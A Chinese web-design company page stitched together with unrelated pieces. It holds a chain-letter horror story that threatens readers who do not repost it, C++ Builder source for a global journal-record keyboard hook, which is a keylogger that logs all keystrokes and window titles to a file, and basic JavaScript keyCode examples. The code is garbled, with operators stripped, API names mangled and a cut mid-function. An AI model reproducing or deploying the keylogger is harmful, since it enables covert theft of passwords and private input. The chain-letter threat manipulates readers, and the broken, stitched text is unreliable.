新网创想网站建设,新征程启航
为企业提供网站建设、域名注册、服务器等服务
故事是这样的 以前在各大学校里都流传着这么一个恐怖故事 说是A校有不干净的东西 每当十五的时候 学校门口的鲁迅像的眼睛就会动 所有教学楼都会停电 楼梯会从原来的13阶变成14阶 实验室的水龙头放出来的水会变成红色 还有1楼尽头的那个厕所只要有人进去了就再也出不来了 于是 一群不信邪的孩子们约好15那天去探险 晚上12点 他们准时来到了那所学校的门口 鲁迅像的眼睛望着左边 他们记下了 生怕出来的时候记不得有没有动过 他们来到了教室 打开开关 咦 不是亮着的么? “骗人。”一个男孩发出抱怨 “再看看吧。” 来到了楼梯口 “1 2 3...13没错阿 是13阶阿?” 孩子们有点怀疑传说的真实性了 于是他们又来到了实验室 水龙头打开了 白花花的水流了出来 “真没劲阿 我们白来了!” 刚开始的刺激感都消去了一半。 最后 他们来到了那个厕所 女孩子虽然口上说不相信 可是还是不敢进去 于是让刚刚很拽地说不怕的小C进去 看了表 1点整 2分钟后 男生出来了 “切 都是骗人的” 孩子们不欢而散。 出门时 一个看门人发现了他们 喝斥他们怎么可以那么晚还在学校逗留。孩子们撒腿就跑 小B特地注意了一下门口的石像 没错 眼睛还是朝左看得 “骗人的”他嘀咕了一声 “喂 小B么?小C昨天晚上和你们一起出去玩 怎么还没回来?”第二天早上 小C的妈妈打电话过来询问。 小C也没有去学校上课 孩子们隐约感到不对了 于是 他们将晚上的探险之事告诉了老师和家长 大家在大人的陪同下回到了那个学校。 “什么? 我们的鲁迅像的眼睛一直是朝右看的阿。”校长听了孩子们的叙述 不可思议的说。 “可是我们昨天来的时候是朝左看的阿” 出门一看 果然 是朝右看得... “可是昨天的确有电阿” “昨天我们这里全区停电...你们怎么开得灯?” “还有楼梯!”孩子们迅速跑到楼梯口 “1 2 3...12?” “我们的楼梯一直是12阶的。” “不可能!!!” “还有实验室”一个孩子提醒道 “对 实验室” 一行人来到实验室 就在昨天他们开过的那个水龙头下 有一摊暗红色的痕迹。 “是血迹。” “那...小C昨天还去过那个厕所...”大家都感到了一阵莫名的恐惧 “走 我们去看看”校长也意识到了事情的严重性 ... 推开门... 小C的尸体赫然出现在大家的眼前 因为惊恐而睁大的双眼 被割断的喉管血淋淋的 内脏散落在已经干掉的水池里... “阿...”小C的妈妈当场昏了过去 几个老师马上冲出去呕吐... 小B也被吓得目瞪口呆 在他晕过去的前一秒钟 他瞥见小C的手表 指针停在了1点... 就是小C进去的那个时候... 顺便说一下 他们去探险的那天晚上 并没有门卫... 将此贴转向5个以上的论坛不会魔鬼缠身且能实现一个愿望 。 不回帖者晚上凌晨过后往往.....不好意思,我也处于无奈
10年积累的网站建设、网站制作经验,可以快速应对客户对网站的新想法和需求。提供各种问题对应的解决方案。让选择我们的客户得到更好、更有力的网络服务。我虽然不认识你,你也不认识我。但先做网站后付款的网站建设流程,更有井陉免费网站建设让你可以放心的选择与我们合作。
这个不大清楚,不过用c语言可以很容易的实现
日志钩子代码如下,你慢慢品味吧:
//-----------.cpp文件
//---------------------------------------------------------------------------
#include vcl.h
#include stdio.h
#pragma hdrstop
#include "KeyHookU.h"
//---------------------------------------------------------------------------
#pragma package(smart_init)
#pragma resource "*.dfm"
TfrmLogHook *frmLogHook;
HOOKPROC JournalLogProc(int iCode,WPARAM wParam,LPARAM lParam);
//钩子变量
HHOOK g_hLogHook=NULL;
//记录上一次得到焦点的窗口句柄
HWND g_hLastFocus=NULL;
//键盘掩码变量
const int KeyPressMask=0x80000000;
//保存上一次按键值
//char g_PrvChar;
//---------------------------------------------------------------------------
__fastcall TfrmLogHook::TfrmLogHook(TComponent* Owner)
: TForm(Owner)
{
}
//---------------------------------------------------------------------------
void __fastcall TfrmLogHook::btnInstallClick(TObject *Sender)
{
if(g_hLogHook==NULL)
//安装日志钩子
g_hLogHook=Set视窗系统HookEx(WH_JOURNALRECORD,(HOOKPROC)JournalLogProc,HInstance,0);
}
//---------------------------------------------------------------------------
void __fastcall TfrmLogHook::btnUninstallClick(TObject *Sender)
{
if(g_hLogHook!=NULL)
{
Unhook视窗系统HookEx(g_hLogHook);
g_hLogHook=NULL;
}
}
//---------------------------------------------------------------------------
HOOKPROC JournalLogProc(int iCode,WPARAM wParam,LPARAM lParam)
{
if(iCode0)return (HOOKPROC)CallNextHookEx(g_hLogHook,iCode,wParam,lParam);
if(iCode==HC_ACTION)
{
EVENTMSG* pEvt=(EVENTMSG*)lParam;
int i;
HWND hFocus;//保存当前活动窗口句柄
char szTitle[256];//当前窗口名称
char szTime[128];//当前的日期和时间
FILE* stream=fopen("h:\\usr\\logfile.txt","a+");
if(pEvt-message==WM_KEYDOWN)
{
int vKey=LOBYTE(pEvt-paramL);//取得虚拟键值
char ch;
char str[10];
hFocus=GetActiveWindow();
if(g_hLastFocus!=hFocus)
{
GetWindowText(hFocus,szTitle,256);
g_hLastFocus=hFocus;
strcpy(szTime,DateTimeToStr(Now()).c_str());
fprintf(stream,"%c%s%c%c%s",10,szTime,32,32,szTitle);
fprintf(stream,"%c%c",32,32);
}
int iShift=GetKeyState(0x10);
int iCapital=GetKeyState(0x14);
int iNumLock=GetKeyState(0x90);
bool bShift=(iShiftKeyPressMask)==KeyPressMask;
bool bCapital=(iCapital1)==1;
bool bNumLock=(iNumLock1)==1;
/*
if(vKey==9) //TAB
fprintf(stream,"%c",’\t’);
if(vKey==13) //回车键
fprintf(stream,"%c",’\n’);
*/
if(vKey=48 vKey=57) //数字键0-9
{
if(!bShift)
fprintf(stream,"%c",vKey);
else
{
switch(vKey)
{
case 49:
ch=’!’;
break;
case 50:
ch=’@’;
break;
case 51:
ch=’#’;
break;
case 52:
ch=’$’;
break;
case 53:
ch=’%’;
break;
case 54:
ch=’^’;
break;
case 55:
ch=’’;
break;
case 56:
ch=’*’;
break;
case 57:
ch=’(’;
break;
case 48:
ch=’)’;
break;
}
fprintf(stream,"%c",ch);
}
}
if(vKey=65 vKey=90) //A-Z a-z
{
if(!bCapital)
{
if(bShift)
ch=vKey;
else
ch=vKey+32;
}
else if(bShift)
ch=vKey+32;
else
ch=vKey;
fprintf(stream,"%c",ch);
}
if(vKey=96 vKey=105) //小键盘0-9
{
if(bNumLock)
fprintf(stream,"%c",vKey-96+48);
}
if(vKey=186 vKey=222) //其他键
{
switch(vKey)
{
case 186:
if (!bShift) ch=’;’ ;
else ch=’:’ ;
break;
case 187:
if (!bShift) ch=’=’ ;
else ch=’+’ ;
break;
case 188:
if (!bShift) ch=’,’ ;
else ch=’’ ;
break;
case 189:
if (!bShift) ch=’-’ ;
else ch=’_’ ;
break;
case 190:
if (!bShift) ch=’.’ ;
else ch=’’ ;
break;
case 191:
if (!bShift) ch=’/’ ;
else ch=’?’ ;
break;
case 192:
if (!bShift) ch=’`’ ;
else ch=’~’ ;
break;
case 219:
if (!bShift) ch=’[’;
else ch=’{’ ;
break;
case 220:
if (!bShift) ch=’\\’ ;
else ch=’|’ ;
break;
case 221:
if (!bShift) ch=’]’;
else ch=’}’ ;
break;
case 222:
if (!bShift) ch=’\’’;
else ch=’\"’ ;
break;
default:
ch=’n’ ;
break;
}
if (ch!=’n’ ) fprintf(stream,"%c",ch);
} //
if (vKey=112 vKey=123) // 功能键 [F1]-[F12]
{
switch(wParam)
{
case 112:
fprintf(stream,"%s","[F1]");
break;
case 113:
fprintf(stream,"%s","[F2]");
break;
case 114:
fprintf(stream,"%s","[F3]");
break;
case 115:
fprintf(stream,"%s","[F4]");
break;
case 116:
fprintf(stream,"%s","[F5]");
break;
case 117:
fprintf(stream,"%s","[F6]");
break;
case 118:
fprintf(stream,"%s","[F7]");
break;
case 119:
fprintf(stream,"%s","[F8]");
break;
case 120:
fprintf(stream,"%s","[F9]");
break;
case 121:
fprintf(stream,"%s","[F10]");
break;
case 122:
fprintf(stream,"%s","[F11]");
break;
case 123:
fprintf(stream,"%s","[F12]");
break;
}
}
if (vKey=8 vKey=46) //方向键
{
switch (vKey)
{
case 8:
strcpy(str,"[BK]");
break;
case 9:
strcpy(str,"[TAB]");
break;
case 13:
strcpy(str,"[EN]");
break;
case 27:
strcpy(str,"[ESC]");
break;
case 32:
strcpy(str,"[SP]");
break;
case 33:
strcpy(str,"[PU]");
break;
case 34:
strcpy(str,"[PD]");
break;
case 35:
strcpy(str,"[END]");
break;
case 36:
strcpy(str,"[HOME]");
break;
case 37:
strcpy(str,"[LF]");
break;
case 38:
strcpy(str,"[UF]");
break;
case 39:
strcpy(str,"[RF]");
break;
case 40:
strcpy(str,"[DF]");
break;
case 45:
strcpy(str,"[INS]");
break;
case 46:
strcpy(str,"[DEL]");
break;
default:
ch=’n’;
break;
}
if (ch!=’n’ )
{
//if (g_PrvChar!=vKey)
//{
fprintf(stream,"%s",str);
// g_PrvChar=vKey;
/
这样的功能是用JavaScript中的event属性的KeyCode方法完成,利用onKeyDown事件进行驱动。
在JavaScript中,可以通过keyCode属性来得到用户所按键的ASSCII码值。具体对应关系可以查ASSCII码表。
例子:
示例1:
--------------------------------------------------------------------------------
SCRIPT LANGUAGE="JavaScript"
!--
function hotkey()
{
var a=window.event.keyCode;
if(a==65)
{
alert("你按了a键吧");
}
}// end hotkey
document.onkeydown = hotkey; //当onkeydown 事件发生时调用hotkey函数
//--
/SCRIPT
另外,在快捷键的使用中,Alt、Ctrl、shift等辅助键也是经常用到的,可以通过altKey、ctrlKey、shiftKey这三个属性来判断Alt、Ctrl、shift键的状态
比如event.ctrlKey的值为真,就说明用户按下了Ctrl键。
例子:
示例2:
--------------------------------------------------------------------------------
SCRIPT LANGUAGE="JavaScript"
!--
function hotkey()
{
if(event.ctrlKey)
{
alert("你按了Ctrl键吧");
}
}// end hotkey
document.onkeydown = hotkey; //当onkeydown 事件发生时调用hotkey函数
//--
/SCRIPT
可以组合起来,形成真正的快捷键,将执行语句换为你要的效果就可以了。
示例3:
--------------------------------------------------------------------------------
SCRIPT LANGUAGE="JavaScript"
!--
function hotkey()
{
var a=window.event.keyCode;
if((a==65)(event.ctrlKey))
{
alert("你按了ctrl+a键吧");
}
}// end hotkey
document.onkeydown = hotkey; //当onkeydown 事件发生时调用hotkey函数
//--
/SCRIPT
document.onkeydown = hotkey 语句是在全页面中,当用户按下键时,调用hotkey函数,也许你希望在页面局部实现快捷键功能,那么,你可以仿照下面这样做(记得删除"document.onkeydown = hotkey"语句):
示例4:
--------------------------------------------------------------------------------
textarea rows="7" cols="90" name="message" onKeyDown="javascript: hotkey();" tabindex="2"/textarea
这样,只有当光标焦点在文本框中才能使用快捷键
以上是获得按那个键的方法在用流的方式写到.txt中就行了。